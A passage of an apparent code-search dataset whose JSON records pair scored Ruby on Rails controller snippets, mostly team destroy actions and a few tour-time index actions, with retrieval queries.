"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8175ccaedc14f3df9fed2c2ee2e08b88",
"score": "0.7600618",
"text": "def destroy\n @ultimate_team = UltimateTeam.find(params[:id])\n @ultimate_team.destroy\n\n respond_to do |format|\n format.html { redirect_to ultimate_teams_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2379a81fe10d7d1cea73b3b92dd123e5",
"score": "0.7585609",
"text": "def destroy\n team_id = params[:id]\n @team = Team.find(team_id)\n user = current_user\n @users = [user]\n TeamMembership.find_by(\n team_id: team_id,\n member_id: user.id\n ).destroy\n\n render 'api/teams/show_team_and_members'\n end",
"title": ""
},
{
"docid": "36ba78abfcec407178a090a48629e1be",
"score": "0.75694525",
"text": "def destroy\n if (current_user.team_id != @team.id || !current_user.admin?)\n return\n end \n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n \n end",
"title": ""
},
{
"docid": "73f173058fd0b8d06ce6aa511f2830c5",
"score": "0.75689626",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to leagues_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "23b84719573a4a157def63fefda99a11",
"score": "0.75582623",
"text": "def delete_app_team(org_name:, platform:, app_id:, team_name:)\n endpoint = \"/api/organizations/#{org_name}/platforms/#{platform}\"\\\n \"/apps/#{app_id}/teams/#{team_name}\"\n res = api.delete endpoint\n Response.new(res)\n end",
"title": ""
},
{
"docid": "c2d8768817e8a1a0bf426995b3528c62",
"score": "0.7544624",
"text": "def destroy\n team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a9c9ceff6673ca47c991d50e63a03ae3",
"score": "0.7542664",
"text": "def destroy\n authorize @team, :destroy?\n\n @team.destroy\n respond_to do |format|\n format.html { redirect_to root_url(subdomain: ENV[\"DEFAULT_SUBDOMAIN\"]), notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bfba27af590249fbfb773afc8bbbab42",
"score": "0.75035626",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to(teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bfba27af590249fbfb773afc8bbbab42",
"score": "0.75035626",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to(teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bfba27af590249fbfb773afc8bbbab42",
"score": "0.75035626",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to(teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bfba27af590249fbfb773afc8bbbab42",
"score": "0.75035626",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to(teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bfba27af590249fbfb773afc8bbbab42",
"score": "0.75035626",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to(teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7d90d291629a05d1aac72c43222b51df",
"score": "0.7502269",
"text": "def destroy\n\n if @team.destroy\n\n render json: {team: {id: params[:id].to_i}},status: :ok\n\n else\n\n render json: {error: true,errors: @team.errors},status: :unprocessable_entity\n\n end\n\n \t\tend",
"title": ""
},
{
"docid": "052e5b0b20cb2ce4d15dfed6171b7c9c",
"score": "0.7493904",
"text": "def destroy\n # @team.destroy\n # respond_to do |format|\n # format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"title": ""
},
{
"docid": "fe351ec1b336e561234a55c0a71a62e9",
"score": "0.74767846",
"text": "def destroy\n\t\t@team = Team.where(:prover_id => params[:owner], :id => params[:id])\n\n\t\t@team.each do |team|\n\t\t\tif (team.topic.prover.id.to_s == params[:owner])\n\t\t\t\tputs (\"Error: You can not resign from a team you created.\")\n\t\t\telse\n\t\t\t\tteam.destroy\n\t\t\tend\n\t\tend\n\n\t\trender :text => \"Nothing\"\n\tend",
"title": ""
},
{
"docid": "d16f0f2a384cf78d592a1afc3f5fbe48",
"score": "0.7473236",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d16f0f2a384cf78d592a1afc3f5fbe48",
"score": "0.7473236",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d16f0f2a384cf78d592a1afc3f5fbe48",
"score": "0.7473236",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d16f0f2a384cf78d592a1afc3f5fbe48",
"score": "0.7473236",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d6ff4647921d8b13a6a23aa17af111b2",
"score": "0.7470701",
"text": "def leave_team_before_delete\n team&.users&.delete(self)\n team&.cleanup\n end",
"title": ""
},
{
"docid": "8b1cd50b19439354d403100a103d862b",
"score": "0.7461136",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to competition_teams_url(@competition) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ac1b1ded06833acf16d7d81c852f930",
"score": "0.74587613",
"text": "def destroy\n begin\n @team.destroy\n rescue ActiveRecord::DeleteRestrictionError => exception\n flash[:error] = exception.message\n end\n\n respond_to do |format|\n format.html { redirect_to(teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "09a2b93cc00d77f763757ec42cee5869",
"score": "0.7452545",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to user_root_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b990ef1917846693b92994ebd77d2f4b",
"score": "0.7439229",
"text": "def destroy\n @user_team = UserTeam.find(params[:id])\n @user_team.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "598a3e1fe20737d2b1aed4d631146033",
"score": "0.74372995",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to organization_teams_url(@organization), notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "504ce6e571296bef5799d2f785b427ec",
"score": "0.74162984",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to team_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0cabf090c0e34584d526d579e3c9ceab",
"score": "0.7410632",
"text": "def destroy\n @persona_team = PersonaTeam.find(params[:id])\n logger.debug(\"account id is #{session[:account_id]}\")\n @persona_team.destroy if session[:account_id] == @persona_team.account_id\n\n respond_to do |format|\n flash[:notice] = 'Persona team deleted.'\n format.html { redirect_to(persona_teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8a2255c172bdae0aef362a324b9bda46",
"score": "0.7406243",
"text": "def destroy\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "71bac8503781f13083022e37bce94c68",
"score": "0.7404495",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to league_teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f79f986491d3b6aee71fd9a4f319b91f",
"score": "0.7402113",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fe62b72036ee8618babb21c289239199",
"score": "0.73965013",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to view_teams_path, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "38d8807970364ac5d527691ecde61b09",
"score": "0.7390999",
"text": "def destroy\n TeamMember.find(params[:id]).destroy\n flash[:success] = t('member_deleted')\n redirect_to team_members_url\n end",
"title": ""
},
{
"docid": "6e7f00e04d9f6722a774d31b45ea696c",
"score": "0.73803246",
"text": "def destroy\n team_id = params[:id]\n status = OkrTeam.remove_team_from_system(team_id)\n\n respond_to do |format|\n if status == 200\n format.json { render json: 'Team is removed successfully from the system!', status: :ok }\n else\n format.json { render json: 'Unable to remove team from system!', status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eff56524dc0aab833e2dc2b036fdcd93",
"score": "0.7369073",
"text": "def destroy_by_tabbie_or_user\n @team = Team.find(params[:team_id]);\n @team.destroy();\n redirect_to(redirect_place());\n return;\n end",
"title": ""
},
{
"docid": "a98ea7b827d7c072b046d7e056dc441d",
"score": "0.7344747",
"text": "def destroy\n match_day_team = MatchDayTeam.find(params[:id])\n match_day_team.destroy\n head 204\n end",
"title": ""
},
{
"docid": "7f4b5589feac2d0973012f7d9e686b20",
"score": "0.7343033",
"text": "def destroy\n authorize @team\n\n @team.destroy\n respond_to do |format|\n format.html { redirect_to admin_event_teams_url, notice: 'Equipe foi EXCLUÍDO com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f09df27c2f1cb8ab57430709389000d1",
"score": "0.73352134",
"text": "def removeFromTournament\n @tournament = Tournament.find(params[:tournament_id])\n \t@team = Team.find(params[:id])\n \t@tournament.teams.delete(@team)\n\t\n respond_to do |format|\n format.html { redirect_to(tournament_path(@tournament)) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7a0a230ef16e01c154ee683113c29d74",
"score": "0.7315064",
"text": "def destroy\n team_members = User.with_role :member, @team\n team_members.each do |member|\n member.remove_role :member, @team\n member.remove_role :team_owner, @team\n end\n @team.destroy\n redirect_to teams_url, notice: 'Team was successfully destroyed.'\n end",
"title": ""
},
{
"docid": "22c62dfe073ea210783a9d113a70e9d5",
"score": "0.73068047",
"text": "def destroy\n @manage_team.destroy\n respond_to do |format|\n format.html { redirect_to manage_teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4ac1a6235cb5b2d60818002657ed2605",
"score": "0.72952074",
"text": "def destroy\n @team = @club.teams.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to club_teams_url(@club.id) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "92149550c2aa719c10889baa46c21633",
"score": "0.72910106",
"text": "def destroy\n @team_has_d.destroy\n respond_to do |format|\n format.html { redirect_to team_has_ds_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "740ca853e95de9b05c88a09b1641f454",
"score": "0.7280432",
"text": "def destroy\n @admin_team.destroy\n respond_to do |format|\n format.html { redirect_to admin_teams_url, notice: 'Team was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "38b682c256cd1e1b0c7606a70a6c6fea",
"score": "0.72803354",
"text": "def destroy\n @nfl_team = NflTeam.find(params[:id])\n @nfl_team.destroy\n\n respond_to do |format|\n format.html { redirect_to nfl_teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "24a2208ab9066b951022a07a3addeb2f",
"score": "0.7266773",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to race_teams_url(@race), notice: I18n.t(:destroy, scope: 'messages.crud', model: Team.model_name.human) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a2f850d3ab6b069e62c466590eaf35ca",
"score": "0.7253641",
"text": "def destroy\n @user_team.destroy\n respond_to do |format|\n format.html { redirect_to user_teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8ef775724ae6970140f106cd47b43b2e",
"score": "0.72288334",
"text": "def destroy\n @swim_team = SwimTeam.find(params[:id])\n @swim_team.destroy\n\n respond_to do |format|\n format.html { redirect_to swim_teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "96d7982cd182250cb6c35351e387a0c2",
"score": "0.7228058",
"text": "def destroy\n @sim_team = SimTeam.find(params[:id])\n @sim_team.destroy\n\n respond_to do |format|\n format.html { redirect_to(sim_teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8f252cb392a4a4d5055252d12e1a22b4",
"score": "0.72163117",
"text": "def destroy\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eae02b0b214301e8222a1a162546f23e",
"score": "0.72108716",
"text": "def destroy\n allTeamRelation = TeamMemberRelation.where(team_id: @team.id)\n allTeamRelation.each do |r|\n r.destroy\n end\n @team.destroy\n respond_to do |format|\n format.html { redirect_to teams_url, notice: \"Team was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "911df685589974c10fdf09a7a5d010a4",
"score": "0.719077",
"text": "def destroy\n @mm_team = MmTeam.find(params[:id])\n @mm_team.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_mm_teams_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c1044b2049329a456bacbb0c81a70b53",
"score": "0.71814424",
"text": "def destroy\n @team.destroy\n \n flash[:notice] = 'Team was successfully deleted.'\n\n respond_to do |format|\n format.html { redirect_to teams_path }\n format.js { render 'shared/index'; flash.discard }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
bdb6bb9fa2d4d044fcdac29576c45a1b
|
GET /tour_times GET /tour_times.json
|
[
{
"docid": "95a3ce69fd8fbc5340c9e3af804310dd",
"score": "0.6226883",
"text": "def index\n @tour = Tour.all.map do |t|\n [t.title, t.id]\n end\n \n @dates = TourTime.date_list\n @passenger_options = [1,2,3,4,5,6]\n @tour_time_id = params[:tour_time_id]\n @tour_id = params[:tour_id]\n @depart_date = params[:departure_date]\n @passengers = params[:passengers]\n \n \n\t\t@tour_time = TourTime.search(params[:tour_id], params[:departure_date], params[:passenger])\n\t\t\t\t\t\t\t\t \t\t \n \n end",
"title": ""
}
] |
[
{
"docid": "23a7d1dbb48af38d370c85b425f59def",
"score": "0.79112154",
"text": "def index\n @tours = Tour.tours_by_start_time\n render json: @tours\n end",
"title": ""
},
{
"docid": "2e13632e15667584f9534cee4cbe9ea0",
"score": "0.7036256",
"text": "def timeQueries\n t = Time.zone.now\n greaterTimes = Array.new\n times = SkybusT4.all\n\n times.each do |l|\n if l.timetable.to_time > t\n greaterTimes.push(l)\n end\n end\n\n if greaterTimes.count < 10\n times.each do |m|\n greaterTimes.push(m)\n end\n end\n\n render json: greaterTimes\n end",
"title": ""
},
{
"docid": "d327cf3b95b6c64f9ebb4c6a44fb4782",
"score": "0.7020603",
"text": "def timeQueries\n t = Time.zone.now\n greaterTimes = Array.new\n times = SkybusT1.all\n\n times.each do |l|\n if l.timetable.to_time > t\n greaterTimes.push(l)\n end\n end\n\n if greaterTimes.count < 10\n times.each do |m|\n greaterTimes.push(m)\n end\n end\n\n render json: greaterTimes\n end",
"title": ""
},
{
"docid": "d3775ebf0487868402b848d3996c3514",
"score": "0.70170957",
"text": "def timeQueries\n t = Time.zone.now\n greaterTimes = Array.new\n times = SkybusT3.all\n\n times.each do |r|\n if r.timetable.to_time > t\n greaterTimes.push(r)\n end\n end\n\n if greaterTimes.count < 10\n times.each do |n|\n greaterTimes.push(n)\n end\n end\n\n render json: greaterTimes\n end",
"title": ""
},
{
"docid": "aab44b7d399cf141af265026f59d305c",
"score": "0.6905406",
"text": "def list\n @tea_times = TeaTime.all\n respond_to do |format|\n format.html { render layout: !request.xhr? }\n format.json { render json: @tea_times }\n end\n end",
"title": ""
},
{
"docid": "ff63ed934343e6ae2720fd8e802e09b2",
"score": "0.6868957",
"text": "def index\n @time_entries = TimeEntry.all\n render :json => @time_entries, status: :ok\n end",
"title": ""
},
{
"docid": "419882228ae04c440a809ba3257539d8",
"score": "0.68338364",
"text": "def times\n driver_order_times.map{|dto| dto.tour.time}\n end",
"title": ""
},
{
"docid": "be430da4d0ccc4d31c69500787d13c7c",
"score": "0.68237054",
"text": "def index\n @ourtimes = Ourtime.all\n end",
"title": ""
},
{
"docid": "c23dad3a6a79bd8c69dab225affe1089",
"score": "0.68010235",
"text": "def tee_times(tour, year, tournament_id, round)\n response = response_json UrlPaths::TEE_TIMES %\n { tour: tour, year: year, tournament_id: tournament_id, round: round }\n\n\n (response.dig('round', 'courses') || []).map do |json|\n Course.new(json)\n end\n end",
"title": ""
},
{
"docid": "87a2716e08e585f8abaf947a2151e9a7",
"score": "0.67961186",
"text": "def index\n @vehicle_stop_times = VehicleStopTime.paginate(:page => params[:page], :per_page => 15)\n \n respond_to do |format|\n format.html { render :index }\n format.json {\n render :json => {\n :current_page => @vehicle_stop_times.current_page,\n :per_page => @vehicle_stop_times.per_page,\n :total_entries => @vehicle_stop_times.total_entries,\n :entries => @vehicle_stop_times\n }\n }\n end\n end",
"title": ""
},
{
"docid": "5fd89c64c99f99aceb47aad4ee331bf4",
"score": "0.679449",
"text": "def index\n \n @task_times = @task.task_times.order(\"stopped_at desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @task_times }\n end\n end",
"title": ""
},
{
"docid": "00f0916388738a927d2ceb74c55d6f17",
"score": "0.67933327",
"text": "def index\n get_todays_data\n\n respond_to do |format|\n format.html { }\n format.json { json_response(@set_times) }\n end\n end",
"title": ""
},
{
"docid": "02168f65f6adc3640e494bba7c8be8a1",
"score": "0.67090845",
"text": "def index\n @tours = Tour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tours }\n end\n end",
"title": ""
},
{
"docid": "75e2be0c76d3fa6b43981c1b72ebceda",
"score": "0.66877794",
"text": "def test_get_all_times\n url = format('%s/times?token=%s', @ts.instance_variable_get(:@baseurl),\n @ts.instance_variable_get(:@token))\n\n stub_request(:get, /.*times.*/)\n .to_return(body: JSON.dump([Hash['this' => 'should be in a list']]))\n\n assert_equal(@ts.get_times,\n [Hash['this' => 'should be in a list']])\n end",
"title": ""
},
{
"docid": "330580547ab1d7a57ad88713baaecc19",
"score": "0.6666219",
"text": "def index\n @tracking_times = TrackingTime.all\n end",
"title": ""
},
{
"docid": "ae9154905832a01b03f9543f68fb4d3a",
"score": "0.66650516",
"text": "def get_times_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.get_times ...\"\n end\n # resource path\n local_var_path = \"/times\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'user_id'] = opts[:'user_id'] if !opts[:'user_id'].nil?\n query_params[:'start'] = opts[:'start'] if !opts[:'start'].nil?\n query_params[:'end'] = opts[:'_end'] if !opts[:'_end'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TimesResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#get_times\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "a3de7c8b43cee32f1dc630ec98d44576",
"score": "0.6660305",
"text": "def index\n @class_times = ClassTime.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @class_times }\n end\n end",
"title": ""
},
{
"docid": "46f83a852d7d8626cc86c7c375817229",
"score": "0.66434705",
"text": "def index\n @user = User.find(params[:user_id])\n @timelines = @user.timelines\n\n render json: @timelines\n end",
"title": ""
},
{
"docid": "b0bbdb9d6fc108aa77ecb8ec6b09cd69",
"score": "0.66426927",
"text": "def index\n headers['Last-Modified'] = Time.now.httpdate\n @tours = Tour.all\n @tours.select! { |tour| tour.name }\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @tours, \n :include => {:chapters => {:include => :interest_point}},\n :methods => [:tour_length, :fullitem]\n }\n end\n end",
"title": ""
},
{
"docid": "799dd785ec94bd48ceaf68eddc7fbeb1",
"score": "0.6629883",
"text": "def index\n @tee_times = TeeTime.all\n end",
"title": ""
},
{
"docid": "c7bf1c25658f05693a099d8558c75442",
"score": "0.662926",
"text": "def index\n @timetable_class_times = TimetableClassTime.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @timetable_class_times }\n end\n end",
"title": ""
},
{
"docid": "7f9fbf24e6930bbfb2f8ef2678f1dd59",
"score": "0.66013193",
"text": "def show\n predictions = CTA::BusTracker.predictions(:stpid => params(:stop_id), :rt => params(:route))\n next_times = predictions.map {|p| Time.parse(p['prdtm'])}\n\n render json: {next_time: next_times}\n end",
"title": ""
},
{
"docid": "f98b912c40bb0f33d3a742584fc33031",
"score": "0.6593414",
"text": "def index\n @technician_hours = TechnicianHour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @technician_hours }\n end\n end",
"title": ""
},
{
"docid": "d25ff18cd6fb809ffc29b7642f51d383",
